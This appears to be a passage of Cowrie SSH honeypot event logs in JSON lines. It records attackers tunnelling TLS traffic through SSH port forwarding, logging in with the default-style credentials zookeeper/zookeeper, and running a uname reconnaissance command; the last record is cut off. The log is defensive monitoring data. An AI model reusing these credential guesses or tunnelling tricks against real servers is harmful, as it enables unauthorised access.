{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:13.138712Z","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:13.369788Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d&#\\x99\\xed\\xbd\\x96\\xc3\\xbd|\\xe7\\x04\\x93\\xfd\\x19Wc\\xc5<~\\xa5\\x90R\\x10\\xf5h\\xff\\xb8Z%\\n3 \\xe3W\\xbc\\xe4\\xe4\\xae\\xab\\x06\\x9aM\\xad\\x18\\x9e\\xba&z/\\\\\\x05t\\x90\\xe7%s\\t0/`\\x050t\\xc4\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\xb6P%/#j0{\\xb0\\x1cR\\nq\\x8c\\xed\\x94\\x01\\x98\\x163J\\xa1\\xce>\\xd2\\x07\\x0b9\\xa1\\xf9C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d&#\\x99\\xed\\xbd\\x96\\xc3\\xbd|\\xe7\\x04\\x93\\xfd\\x19Wc\\xc5<~\\xa5\\x90R\\x10\\xf5h\\xff\\xb8Z%\\n3 \\xe3W\\xbc\\xe4\\xe4\\xae\\xab\\x06\\x9aM\\xad\\x18\\x9e\\xba&z/\\\\\\x05t\\x90\\xe7%s\\t0/`\\x050t\\xc4\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\xb6P%/#j0{\\xb0\\x1cR\\nq\\x8c\\xed\\x94\\x01\\x98\\x163J\\xa1\\xce>\\xd2\\x07\\x0b9\\xa1\\xf9C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:13.374371Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:14.010001Z","src_ip":"45.153.34.195","session":"1db916f917ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:14.170472Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11718,"dst_ip":"10.17.0.5","dst_port":22,"session":"193c1785e052","protocol":"ssh","message":"New connection: 45.153.34.195:11718 (10.17.0.5:22) [session: 193c1785e052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:15.145228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:15.150921Z","src_ip":"45.153.34.195","session":"193c1785e052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:15.249092Z","src_ip":"45.153.34.195","session":"193c1785e052","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:15.811493Z","src_ip":"45.153.34.195","session":"193c1785e052","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.070453Z","src_ip":"45.153.34.195","session":"193c1785e052","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.074650Z","src_ip":"45.153.34.195","session":"193c1785e052","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.086130Z","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.126548Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03jq*G\\xb8\\xf7\\xe0\\xdf\\x0b\\xa0=Pr\\xf0\\xcf\\xefp4SJ\\xce\\xde\\xac\\x1c\\xfd\\xca\\x1f.\\x82\\xb08 \\x9e\\xf1@\\x85h\\xbaJ\\xec\\x0ct\\x1f\\xf9\\xa2X\\n\\xebDG\\xda=\\xd8\\xc4\\xcc\\xb3\\xe8\\x9b\\x10\\xbb\\xe1.\\x9f\\xfc\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 /\\n\\x00\\x07\\xe2\\xf7\\xca\\xfcc\\xdb~\\x11\\x97\\x84\\xfc\\xe6\\xae\\x01t@\\r\\x17K\\x1e\\xa9i\\x11@\\xd1\\xa1\\x87O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03jq*G\\xb8\\xf7\\xe0\\xdf\\x0b\\xa0=Pr\\xf0\\xcf\\xefp4SJ\\xce\\xde\\xac\\x1c\\xfd\\xca\\x1f.\\x82\\xb08 \\x9e\\xf1@\\x85h\\xbaJ\\xec\\x0ct\\x1f\\xf9\\xa2X\\n\\xebDG\\xda=\\xd8\\xc4\\xcc\\xb3\\xe8\\x9b\\x10\\xbb\\xe1.\\x9f\\xfc\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 /\\n\\x00\\x07\\xe2\\xf7\\xca\\xfcc\\xdb~\\x11\\x97\\x84\\xfc\\xe6\\xae\\x01t@\\r\\x17K\\x1e\\xa9i\\x11@\\xd1\\xa1\\x87O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.129641Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.164385Z","src_ip":"45.153.34.195","session":"193c1785e052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.172812Z","src_ip":"45.153.34.195","session":"193c1785e052","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.177755Z","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.184243Z","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.218353Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\x87\\xa7,e\\xc3de&\\xf0\\x7f\\xe8Dr\\xd2@\\xaf\\xaf/\\xba\\x12\\xf8\\xc3D\\xb3\\xb2\\xd1\\x98\\xb2\\xf65\\xe1 N*\\xe6\\xa6\\xae\\x15\\x86\\x04\\xa19\\x9f\\xbf\\x8bpkYB\\x88\\x87\\x06$\\xee,\\x938\\xcfRs\\x01\\x1fH\\x99\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\r\\xb8\\x05\\xa2\\xd0\\xeb\\xe2\\x8a\\x8cw\\xb6\\xea\\xa4R\\xfb~\\xb5?\\x86\\x06\\xbb0\\x10\\r\\xcfk\\xa42\\x86\\xd2p\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\x87\\xa7,e\\xc3de&\\xf0\\x7f\\xe8Dr\\xd2@\\xaf\\xaf/\\xba\\x12\\xf8\\xc3D\\xb3\\xb2\\xd1\\x98\\xb2\\xf65\\xe1 N*\\xe6\\xa6\\xae\\x15\\x86\\x04\\xa19\\x9f\\xbf\\x8bpkYB\\x88\\x87\\x06$\\xee,\\x938\\xcfRs\\x01\\x1fH\\x99\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 